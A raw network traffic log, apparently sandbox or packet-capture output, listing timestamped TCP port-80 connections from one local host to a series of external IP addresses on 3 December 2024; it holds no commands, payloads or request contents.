Dec 3, 2024 14:39:07.976378918 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:08.095854044 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.095899105 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.095980883 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:08.099980116 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.099992037 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.100056887 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:08.176652908 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.176692009 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.176768064 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:08.179326057 CET	80	49916	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:08.179388046 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:08.232121944 CET	49916	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:09.250837088 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:09.370929956 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:09.371021986 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:09.390208006 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:09.510238886 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:09.510286093 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.677865982 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.677980900 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.677992105 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678060055 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.678219080 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678234100 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678278923 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.678416014 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678435087 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678453922 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.678617001 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678639889 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678652048 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.678687096 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.798011065 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.798116922 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.798162937 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.802231073 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.856605053 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.869693995 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.869782925 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.869921923 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.872411013 CET	80	49922	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:10.872467041 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:10.904742002 CET	49922	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:11.923203945 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:12.043222904 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:12.043318033 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:12.053571939 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:12.173818111 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325678110 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325736046 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325747013 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325865984 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325866938 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.325892925 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325917006 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325927973 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325939894 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.325952053 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.325977087 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.326571941 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.326729059 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.327213049 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.447828054 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.447870970 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.448005915 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.452145100 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.452200890 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.452409029 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.527012110 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.527049065 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.527193069 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.529548883 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:13.529675007 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.530620098 CET	49928	80	192.168.2.6	162.0.213.94
Dec 3, 2024 14:39:13.650979042 CET	80	49928	162.0.213.94	192.168.2.6
Dec 3, 2024 14:39:19.221251011 CET	49946	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:19.341284037 CET	80	49946	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:19.341375113 CET	49946	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:19.361783028 CET	49946	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:19.481817961 CET	80	49946	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:20.606991053 CET	80	49946	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:20.607047081 CET	80	49946	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:20.607419968 CET	49946	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:20.874108076 CET	49946	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:21.891530037 CET	49953	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:22.011491060 CET	80	49953	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:22.011655092 CET	49953	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:22.028326988 CET	49953	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:22.148334026 CET	80	49953	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:23.282828093 CET	80	49953	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:23.282948971 CET	80	49953	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:23.283014059 CET	49953	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:23.544188023 CET	49953	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:24.566030025 CET	49960	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:24.686260939 CET	80	49960	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:24.686363935 CET	49960	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:24.702032089 CET	49960	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:24.822371960 CET	80	49960	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:24.822388887 CET	80	49960	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:25.939481020 CET	80	49960	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:25.939506054 CET	80	49960	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:25.939580917 CET	49960	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:26.230654955 CET	49960	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:27.235661983 CET	49965	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:27.355830908 CET	80	49965	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:27.355932951 CET	49965	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:27.373379946 CET	49965	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:27.493412018 CET	80	49965	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:28.655323982 CET	80	49965	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:28.655379057 CET	80	49965	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:28.655512094 CET	49965	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:28.750089884 CET	49965	80	192.168.2.6	68.66.226.92
Dec 3, 2024 14:39:28.870198011 CET	80	49965	68.66.226.92	192.168.2.6
Dec 3, 2024 14:39:34.323486090 CET	49981	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:34.443613052 CET	80	49981	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:34.443701982 CET	49981	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:34.462908983 CET	49981	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:34.583101988 CET	80	49981	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:35.822945118 CET	80	49981	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:35.823004961 CET	80	49981	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:35.823242903 CET	49981	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:35.966751099 CET	49981	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:36.986054897 CET	49987	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:37.106894970 CET	80	49987	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:37.107029915 CET	49987	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:37.125868082 CET	49987	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:37.245896101 CET	80	49987	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:38.497212887 CET	80	49987	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:38.497395992 CET	80	49987	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:38.497451067 CET	49987	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:38.638175964 CET	49987	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:39.657614946 CET	49993	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:39.777738094 CET	80	49993	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:39.778244019 CET	49993	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:39.793891907 CET	49993	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:39.914015055 CET	80	49993	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:39.914081097 CET	80	49993	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:41.197916985 CET	80	49993	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:41.282174110 CET	49993	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:41.310167074 CET	49993	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:41.321182966 CET	80	49993	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:41.321281910 CET	49993	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:42.330899000 CET	50000	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:42.451117039 CET	80	50000	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:42.451205015 CET	50000	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:42.464874029 CET	50000	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:42.585017920 CET	80	50000	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:43.824863911 CET	80	50000	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:43.825073004 CET	80	50000	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:43.826176882 CET	50000	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:43.907027960 CET	50000	80	192.168.2.6	31.31.196.17
Dec 3, 2024 14:39:44.027184963 CET	80	50000	31.31.196.17	192.168.2.6
Dec 3, 2024 14:39:49.782217979 CET	50020	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:49.902296066 CET	80	50020	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:49.902445078 CET	50020	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:49.922200918 CET	50020	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:50.043912888 CET	80	50020	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:51.245121956 CET	80	50020	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:51.245332003 CET	80	50020	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:51.245387077 CET	50020	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:51.437680006 CET	50020	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:52.454601049 CET	50026	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:52.574748039 CET	80	50026	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:52.574894905 CET	50026	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:52.590816975 CET	50026	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:52.711273909 CET	80	50026	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:53.834543943 CET	80	50026	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:53.834644079 CET	80	50026	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:53.834742069 CET	50026	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:54.106791019 CET	50026	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:55.126351118 CET	50033	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:55.246474028 CET	80	50033	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:55.246575117 CET	50033	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:55.266241074 CET	50033	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:55.386528015 CET	80	50033	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:55.386545897 CET	80	50033	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:56.580390930 CET	80	50033	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:56.580430984 CET	80	50033	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:56.580473900 CET	50033	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:56.778842926 CET	50033	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:57.798352003 CET	50034	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:57.918343067 CET	80	50034	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:57.918625116 CET	50034	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:57.928770065 CET	50034	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:58.048681974 CET	80	50034	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:59.180696011 CET	80	50034	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:59.180725098 CET	80	50034	130.185.109.77	192.168.2.6
Dec 3, 2024 14:39:59.181051016 CET	50034	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:59.184751034 CET	50034	80	192.168.2.6	130.185.109.77
Dec 3, 2024 14:39:59.305105925 CET	80	50034	130.185.109.77	192.168.2.6
Dec 3, 2024 14:40:07.905554056 CET	50035	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:08.025712013 CET	80	50035	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:08.029068947 CET	50035	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:08.046125889 CET	50035	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:08.166073084 CET	80	50035	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:09.457550049 CET	80	50035	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:09.457820892 CET	80	50035	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:09.460333109 CET	50035	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:09.559942961 CET	50035	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:10.581168890 CET	50036	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:10.701260090 CET	80	50036	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:10.701355934 CET	50036	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:10.720089912 CET	50036	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:10.840673923 CET	80	50036	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:12.133110046 CET	80	50036	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:12.133140087 CET	80	50036	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:12.133261919 CET	50036	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:12.231833935 CET	50036	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:13.287621021 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:13.407607079 CET	80	50037	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:13.410904884 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:13.438276052 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:13.558357954 CET	80	50037	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:13.558387041 CET	80	50037	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:14.950706959 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:14.963255882 CET	80	50037	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:14.963330030 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:14.963700056 CET	80	50037	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:14.963761091 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:15.070646048 CET	80	50037	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:15.074337959 CET	50037	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:15.972578049 CET	50038	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:16.092506886 CET	80	50038	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:16.096689939 CET	50038	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:16.107203960 CET	50038	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:16.227154016 CET	80	50038	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:17.522635937 CET	80	50038	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:17.522663116 CET	80	50038	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:17.522871017 CET	50038	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:17.526374102 CET	50038	80	192.168.2.6	172.104.82.74
Dec 3, 2024 14:40:17.646368027 CET	80	50038	172.104.82.74	192.168.2.6
Dec 3, 2024 14:40:23.185621977 CET	50039	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:23.306680918 CET	80	50039	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:23.306812048 CET	50039	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:23.324469090 CET	50039	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:23.444403887 CET	80	50039	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:24.558365107 CET	80	50039	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:24.558464050 CET	50039	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:24.832284927 CET	50039	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:24.952395916 CET	80	50039	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:25.845562935 CET	50040	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:25.965611935 CET	80	50040	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:25.965707064 CET	50040	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:25.984782934 CET	50040	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:26.104999065 CET	80	50040	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:27.217538118 CET	80	50040	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:27.217633963 CET	50040	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:27.497514963 CET	50040	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:27.600877047 CET	80	50040	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:27.600929022 CET	50040	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:27.760190964 CET	80	50040	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:28.516956091 CET	50041	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:28.637526989 CET	80	50041	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:28.637684107 CET	50041	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:28.655308962 CET	50041	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:28.775510073 CET	80	50041	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:28.775526047 CET	80	50041	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:29.803869963 CET	80	50041	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:29.803947926 CET	50041	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:30.169439077 CET	50041	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:30.289535046 CET	80	50041	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:31.188757896 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:31.309021950 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:31.309164047 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:31.318845987 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:31.438909054 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.049078941 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.049181938 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.049192905 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.049406052 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.049417019 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.049520969 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.049520969 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.049722910 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.050127983 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.093997955 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.094085932 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.094099998 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.094321012 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.094337940 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.094564915 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.169816017 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.169924021 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.170099020 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.259377003 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.259444952 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.262559891 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.263525009 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.263644934 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.263758898 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.271935940 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.275257111 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.275273085 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.276551962 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.283368111 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.283498049 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.284567118 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.291815042 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.291934967 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.294907093 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.304116964 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.304214001 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.304230928 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.306546926 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.306638956 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.306752920 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.315056086 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.315110922 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.315295935 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.323822021 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.323904037 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.326448917 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.331830025 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.332024097 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.332901001 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.340406895 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.346383095 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.382664919 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.382801056 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.382936954 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.469927073 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.469990969 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.470089912 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.472573996 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.472657919 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.472697973 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.478281975 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.478297949 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.478393078 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.482134104 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:33.482208014 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.486618042 CET	50042	80	192.168.2.6	208.91.197.27
Dec 3, 2024 14:40:33.606595993 CET	80	50042	208.91.197.27	192.168.2.6
Dec 3, 2024 14:40:39.012428045 CET	50043	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:39.132500887 CET	80	50043	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:39.136679888 CET	50043	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:39.150326014 CET	50043	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:39.270284891 CET	80	50043	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:40.658339024 CET	50043	80	192.168.2.6	154.23.184.95
